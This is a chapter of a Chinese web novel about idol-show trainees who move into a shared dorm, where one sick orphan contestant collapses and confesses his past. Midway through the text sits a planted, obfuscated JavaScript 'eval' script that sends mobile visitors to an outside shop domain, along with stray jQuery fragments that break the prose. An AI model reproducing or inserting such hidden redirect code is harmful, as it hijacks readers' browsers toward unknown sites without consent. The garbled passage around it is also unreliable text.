凯瑞被永久除名的第二天,平湖基地的风都变得轻快了。
没有刻意讨好的虚情假意,没有背地里的造谣使坏,没有随时可能被动手脚的道具与练曲,困扰了整个赛程的阴翳,终于随着那个人的离开彻底消散。
7月3日上午,节目组正式下达通知:全员迁入独栋专属宿舍,彻底告别多人拥挤宿舍,配备独立休息室、公共训练区、开放式厨房、医疗应急角,连饮食都从统一食堂,改成了按需定制。
这是出道前最高级别的待遇,也是节目组对“最终突围梯队”的全部偏爱。
独栋宿舍是两层复式,一楼是公共客厅、开放式厨房、影音训练区、医疗角,二楼是19间独立单人卧室,采光充足,布置温馨。门口挂着烫金门牌——「曜日计划」,简单四个字,是他们一路用血与汗、坚守与别离,拼来的勋章。
搬家这天,没有工作人员帮忙,19个少年自己拎着行李、抱着物品,说说笑笑地搬进新家。
骆闻阳抱着自己的黑色枕头,跟在蔡希澈身后,眼底满是藏不住的欢喜。他从小到大,住过冰冷的福利院、密闭的地下储备间、拥挤的集体宿舍,第一次拥有属于自己的小房间,有柔软的床、明亮的窗、干净的书桌,还有一群真心待他的家人。
“希澈哥,你看,我的窗户对着训练场!”他推开窗户,回头看向蔡希澈,眉眼弯成月牙,干净又鲜活。
蔡希澈站在他身后,帮他把行李放在桌边,语气温和:“喜欢就好,以后这里就是我们的家。”
余宇涵嘴上嫌弃“麻烦”,却默默把所有人的重物全部扛上楼,又把自己带来的护具、膏药,全部放在一楼公共医疗角,嘴上不饶人:“都别硬撑,受伤了就自己拿,别指望我伺候。”
可他却特意把骆闻阳常用的止咳糖、护腕,放在了最显眼、最容易拿到的位置。
王辉荟拿着自己亲手晒的干花、一管新的跌打损伤膏,附了一张字条递给骆闻阳,字迹工整:“一起出道。”
骆闻阳捧着字条,眼眶微红,小心翼翼夹进自己的笔记本里。
江亦风把家里寄来的零食、牛奶、水果,满满当当塞满整个冰箱;沈星辞的书籍、乐谱,被傅念全部搬来,摆在客厅书架;苏妄、陆星延也拿来应援手幅,贴满客厅墙面。
搬进独栋宿舍后,训练节奏并未放缓,可氛围却彻底变了。
不再有勾心斗角,不再有暗中较劲,不再有生死对立,剩下的只有并肩备战、彼此兜底、互相照顾。
每日清晨,不再是刺耳的晨哨,而是蔡希澈轻缓的敲门声。他知道骆闻阳身体弱、睡眠浅,从不高声催促,总是轻轻敲两下门,温声说:“起床了,早餐做好了。”
为了让骆闻阳吃上温和、不刺激、贴合身体的饭食,从不沾厨房的蔡希澈,主动包揽了全部早餐。
煮粥、蒸蛋、热牛奶,口味清淡、营养充足,每天不重样。骆闻阳总是乖乖坐在餐桌旁,捧着温热的粥碗,一口一口吃得干净,眼底满是幸福感。
“希澈哥,你做的粥比食堂的还好吃。”
“喜欢就多吃点,才有体力训练。”
余宇涵负责每天的晨练热身,嘴上严厉,动作却格外小心。
轮到骆闻阳做拉伸、体能训练时,他总会刻意降低强度,放缓节奏,时刻盯着他的脸色,一旦发现他脸色发白,立刻开口:“停,休息十分钟,别逞强。”
江亦风最会调节氛围,每天训练间隙,总会放轻松的音乐,给大家讲笑话、做搞怪表情,把连日淘汰的压抑,一扫而空。
傅念像个小太阳,围着所有人打转,给大家递水、擦汗、整理训练服,热闹又温暖。
苏妄话少心细,默默为每个人打磨训练曲目,根据每个人的声线、身体状态调整段落强度。
他特意把骆闻阳的高音段落、高强度舞蹈动作,全部做了柔化处理,既保证舞台效果,又最大限度减轻他的身体负担。
没有人提起“竞争”“淘汰”,也没有人在意“排名”“人气”。
他们是并肩走到最后的家人,是彼此的底气,是熬过所有黑暗后的光。
备战越来越紧张,距离下一次的公演仅剩2天。
所有人都在全力冲刺,骆闻阳也不想拖大家后腿,即便身体频频发出警报,依旧咬牙硬撑。
药片越吃越频繁,心悸、胸闷、头晕的发作次数越来越多,稍微高强度训练一会儿,就浑身冷汗、四肢发软。他依旧像从前一样,躲在卫生间、楼梯间、无人的角落偷偷吃药,强装没事,不想让大家为他担心,更不想因为自己,影响整个团队的备战节奏。
可他不知道,他的苍白、虚弱、隐忍,所有人都看在眼里,疼在心里。
只是蔡希澈下了命令:他不说,我们不问,不戳破,默默护着,给他体面。
下午,高强度联排整整六个小时。
全员完成最终舞台合练,骆闻阳刚跟着音乐做完最后一个舞蹈动作,眼前突然一黑,心口剧痛袭来,双腿一软,直直朝着地面倒下去。
“闻阳!”
“小心!”
蔡希澈距离他最近,几乎是本能地冲上前,一把接住他倒下的身体。少年浑身冰凉,脸色惨白如纸,嘴唇没有一丝血色,双目紧闭,呼吸微弱,彻底失去了意识。
全场瞬间慌了。
“快!拿急救药!”余宇涵嘶吼一声,疯了一样冲向一楼医疗角,翻出骆闻阳常用的急救药片、速效救心丸。
江亦风吓得手脚发软,却还是强撑着拨打基地医疗电话,声音颤抖:“快!快来!有人晕倒了!”
傅念围在旁边,眼眶通红,手足无措,只能不停小声喊着:“闻阳哥,你醒醒……别吓我们……”
蔡希澈抱着怀里轻得吓人的少年,心脏像是被一只手狠狠攥住,疼得喘不过气。他一遍一遍轻抚骆闻阳的后背,把他紧紧抱在怀里,声音克制却难掩慌乱:“闻阳,别怕,我在,马上就好,没事的……”
医护人员十分钟后赶到,立刻进行紧急急救,又做了简单检查。
“他是过度劳累、高强度运动引发的急性心衰休克,再晚送来一会儿,后果不堪设想!我早就说过,他这个病,绝对不能高强度训练、不能熬夜、不能情绪紧绷,你们怎么就是不听!”
医生的话,像一记重锤,狠狠砸在每个人心上。
这一次,骆闻阳的秘密,再也瞒不住了。
骆闻阳在医疗室躺了三个小时,才缓缓睁开眼睛。
一睁眼,就看到守在床边的全员。
蔡希澈眼底布满红血丝,满眼都是后怕与心疼;余宇涵别过头,眼眶通红,强忍着眼泪;江亦风、苏妄、傅念,全都红着眼眶,看着他,没有责备,没有嫌弃,只有满满的担忧与心疼。
他瞬间慌了,挣扎着想要坐起来,声音虚弱沙哑:“我……我是不是给大家添麻烦了……对不起,我不是故意的……”
他怕他们知道他的病,嫌弃他、排斥他、把他送走;</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606108|205724||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
怕他们知道他的孤儿身世,看不起他;
怕他这个“累赘”,被大家抛弃。
可下一秒,蔡希澈轻轻按住他,不让他乱动,语气温柔又坚定:“别乱动,好好躺着。”
“我们都知道了。”
骆闻阳的眼泪瞬间掉了下来,蜷缩在被子里,肩膀微微颤抖,哽咽着把所有秘密,全盘托出:
“我爸妈在我七岁的时候就不在了,我是孤儿……十岁被星曜招进地下基地,练了六年,不能见人,不能说话……我有心脏病,医生说我不能跳舞不能唱歌……可我想和你们在一起,我不想离开……对不起,我不是故意要瞒你们的,我只是怕你们不要我……”
他哭得像个无助的孩子,把所有的委屈、不安、恐惧,全部说了出来。
可没有一个人嫌弃他,没有一个人责备他。
余宇涵转过身,狠狠抹了一把眼睛,声音沙哑:“谁嫌弃你了?我们从来没有觉得你是累赘。以后不准再自己硬撑,不准再偷偷吃药,不准再瞒着我们,有病就治,不舒服就说,我们都在。”
江亦风坐在床边,轻轻拍着他的背,眼泪掉了下来:“闻阳,你不是麻烦,你是我们最重要的家人。以后我们一起照顾你,不硬撑,我们慢慢来,好不好?”
傅念扑在床边,哭得泣不成声:“闻阳哥,我们不会不要你的,我们要一起出道,一起走下去!”
苏妄温和开口:“舞台我已经重新改好了,全部按你的身体状态来,我们不急,你好好休息,我们等你。”
蔡希澈坐在床边,轻轻擦掉他的眼泪,眼底满是宠溺与心疼:“没有人会不要你,这里就是你的家,我们都是你的家人。以后不用再怕,不用再瞒,一切有我。”
原来,他怕了那么久、瞒了那么久、小心翼翼了那么久,
换来的不是嫌弃与抛弃,而是满满的偏爱与守护。
骆闻阳看着围在床边的家人,哭得泣不成声,却不是委屈,是苦尽甘来的温暖。
骆闻阳晕倒住院的消息,节目组立刻知晓,高层一度商议:为了选手生命安全,建议骆闻阳退赛,安心养病。
消息传回,蔡希澈沉默了,他第一次拨打了自己父亲,星耀集团董事长的电话。
电话“嘟嘟嘟”了几声,通了,两边都是沉默。
许久,蔡希澈打破僵局:“爸,我错了,我求您…………”
对面打断了他:“别说对不起,我认为你做的挺好,事实证明我说的也不全是对的。”
电话那边穿来中年男人的笑声:“不过能让你小子给我打电话,肯定是什么大事,说说看。”
蔡希澈眼睛亮了亮,开口道:“我们选秀队伍里有个选手叫骆闻阳,但因为生病……”
男人再一次打断他:“你想为他求情?”
蔡希澈“嗯”了一声。
“你想都不要想,他的病不是开玩笑,现在已经透支了身体,万一有什么变故,是你能承担起责任,还是星耀能承担起?”男人回答道。
“我们已经决定了,让他下来,休息,养病,他本来就是我们星耀的人,我当然要对他负责到底。这孩子年龄小,但天赋却是独特,我们商量让他成为二代团队长。”
“没有余地吗?”蔡希澈不死心。
“没有余地,你不是小孩子了,要明白利弊了,公告下午应该就会发。”男人语气严厉:“你的任务是参加选秀,是你说要闯出来给我看的,别自己打自己的脸。”